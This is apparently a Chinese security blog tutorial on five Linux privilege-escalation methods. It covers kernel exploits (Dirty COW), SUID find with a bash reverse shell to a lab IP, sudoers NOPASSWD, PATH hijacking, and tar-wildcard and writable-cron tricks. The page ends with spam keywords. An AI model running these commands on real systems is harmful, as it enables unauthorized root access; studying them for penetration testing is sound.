<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    五種實用型linux提權方法!

    VSole2021-12-17 14:45:31

    一、內核提權

    1.常規內核提權

    查看linux內核版本:

    uname -a
    

    使用searchsploit搜索對應exp,并下載c文件進行編譯:

    searchsploit ubuntu 4.4.0
    searchsploit -m linux/local/45010.c
    gcc 45010.c -o 45010 #編譯
    

    在meterpreter下將編譯好的exp上傳到目標tmp目錄下,賦予執行權限,可以看到執行后變為root權限:

    2.臟牛提權

    Linux內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有只讀內存映射。一個低權限的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫權限,有可能進一步導致提權漏洞

    影響版本:Linux kernel >= 2.6.22(2007年發行,到2016年10月18日才修復)

    uname -a  #查看內核版本
    cd CVE-2016-5195-master/
    make   #編譯生成可執行文件
    ./dcow -s  #執行exp,成功返回root shell
    

    二、suid提權


    suid可以讓文件調用者暫時獲得文件擁有者的權限,suid提權的思路讓普通用戶運行root用戶所擁有的suid文件,從而達到提權的目的。

    可用于提權的文件列表:
    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp
    查找suid文件命令:
    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    

    發現find存在suid:


    使用find執行命令whoami發現是root:

    find 1.txt -exec whoami \;
    


    使用find執行反彈shell命令(注意加上-p參數,否則反彈回來的可能是低權限用戶shell):

    find 1.txt -exec bash -i >& /dev/tcp/192.168.197.149/4444 0>&1 -p \;
    

    返回kali查看彈回root shell:

    三、sudo提權

    普通用戶一般無法使用root用戶命令,使用sudo命令可以讓普通用戶擁有root權限,但是一般都需要輸入用戶的密碼。管理員為了運營方便可能會對sudoer文件進行不合理的配置,使普通用戶不需要輸入密碼就可以使用sudo命令,從而導致權限提升的問題產生。

    使用sudo需要輸入用戶密碼,例如查看shadow文件:

    管理員為了方便,配置/etc/sudoers文件,在文件中加入:

    ubuntu ALL=(ALL:ALL) NOPASSWD:ALL
    

    配置完成后,普通用戶使用sudo無需輸入密碼即可執行root命令:

    四、環境變量提權

    PATH是Linux和類Unix操作系統中的環境變量,它指定可執行程序的所有bin和sbin存儲目錄。當用戶在終端上運行任何命令時,它會向shell發送請求以在PATH變量中搜索可執行文件來響應用戶執行的命令。

    echo $PATH   #查看環境變量
    

    實驗演示:

    假設管理員用戶在/home/test目錄下創建了一個demo.c文件,內容如下,執行查看shadow文件命令,setuid 規定了其運行用戶,以root權限進行編譯和權限設置:

    gcc demo.c -o demo   #編譯
    chomod u+s demo      #賦予suid
    

    執行demo文件即執行cat /etc/shadow命令:

    現在有一個攻擊者拿到普通用戶權限,首先執行如下命令查找具有suid的文件,發現demo:

    find / -perm -u=s -type f 2>/dev/null
    

    普通用戶執行demo文件:

    接下來劫持環境變量進行提權:

    cd /tmp
    echo "/bin/bash" > cat   #創建名為cat的文件,內容為/bin/bash
    cat cat
    chmod 777 cat            #賦予777權限
    export PATH=/tmp:$PATH     #將tmp目錄添加環境變量
    echo $PATH
    

    最后執行demo,在執行cat命令時,從環境變量中查找,按查找順序優先查找/tmp目錄,而/tmp目錄下的cat內容為/bin/bash,所以執行的命令從cat /etc/shadow就變成了/bin/bash /etc/shadow,從而達到提權的目的。

    五、Cronjobs提權

    1. 通配符提權

    查看定時任務,發現一個以root權限執行的任務test2.sh,查看test2.sh,發現任務的工作為每分鐘執行將/home/ubuntu下的所有內容打包為backup.tar.gz并放置在/tmp目錄下(通配符*代表目錄下的所有文件)。

    cat /etc/crontab  #查看定時任務
    

    在/home/ubuntu目錄下創建三個文件:

    echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh
    echo "" > --checkpoint=1    #文件名為--checkpoint=1
    echo "" > "--checkpoint-action=exec=sh test.sh"
    #文件名為--checkpoint-action=exec=sh test.sh
    

    當定時任務觸發后,使用了通配符*對整個文件夾進行打包,系統真正執行打包時,將目錄下的文件一個一個傳參給通配符執行打包操作,而在打包–checkpoint=1和–checkpoint-action=exec=sh test.sh時相當于執行如下命令:

    tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
    

    而–checkpoint和–checkpoint-action正好時tar的參數,此處會被當作參數執行而非文件名打包。–checkpoint-action=exec=sh test.sh為執行test.sh文件,test.sh文件內容為復制bash到tmp目錄并賦予suid,即可達到提權的目的:


    據說相似的命令還有chown、chmod、rsync等。

    2.文件重寫提權

    由于管理員對定時文件權限錯誤分配而導致普通用戶具有寫權限,從而達到提權。

    普通用戶查看定時任務,發現datetest.sh為777權限而且為root用戶:


    普通用戶可在datetest.sh中寫入命令,將bash復制到tmp并賦予suid:

    "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh
    

    執行獲取root權限:

    linux系統linux文件權限
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Linux是目前應用最廣泛的服務器操作系統,基于Unix,開源免費,由于系統的穩定性和安全性,市場占有率很高,幾乎成為程序代碼運行的最佳系統環境。linux不僅可以長時間的運行我們編寫的程序代碼,還可以安裝在各種計算機硬件設備中,如手機、路由器等,Android程序最底層就是運行在linux系統上的。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    本文章盤點了 Linux 運維必備 150 個命令,請配合下面的網站使用。定位你需要使用的命令,然后去這個網站查詢詳細用法即可。 地址:wangchujiang.com/linux-command/
    內網滲透合集(一)
    2023-01-28 09:31:07
    dmesg | grep Linuxls /boot | grep vmlinuz正在運行的服務ps auxps -eftopcat /etc/service哪些服務具有root權限ps aux | grep rootps -ef | grep root安裝了哪些程序,版本,以及正在運行的ls -alh /usr/bin/ls -alh /sbin/dpkg -lrpm -qals -alh /var/cache/apt/archivesOls -alh /var/cache/yum/服務的配置文件cat /etc/syslog.conf?cat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/工作計劃crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root網絡配置cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -Lhostnamednsdomainname其他用戶主機與系統的通信?
    因此做為運維人員,就必須了解一些安全運維準則,同時,要保護自己所負責的業務,首先要站在攻擊者的角度思考問題,修補任何潛在的威脅和漏洞。 本文主要分為如下部分展開:
    注意在整個過程中,客戶不要事先征集到現場或現場的人員操作情況。啟動或部署監測設備,針對病毒感染進行全面監測,避免死灰復燃。在此過程中并沒有展開分析,隨后制作收集所有相關的樣本日志等,并尋找感染源頭,并制定整改。先找出急用的木馬文件,不要于打包一份。
    應急響應的基本流程
    2022-01-01 08:34:07
    注意在整個過程中不要被客戶或現場的運維人員誤導。操作前需先征得客戶許可。
    譯者:知道創宇404實驗室翻譯組原文鏈接:... 摘要 長期以來,Trickbot一直是主要的銀行惡意軟件家族之一。盡管最近發生了一些干擾事件,但攻擊者仍在繼續推動惡意軟件的發展,并在最近開始將其部分代碼移植到Linux...
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类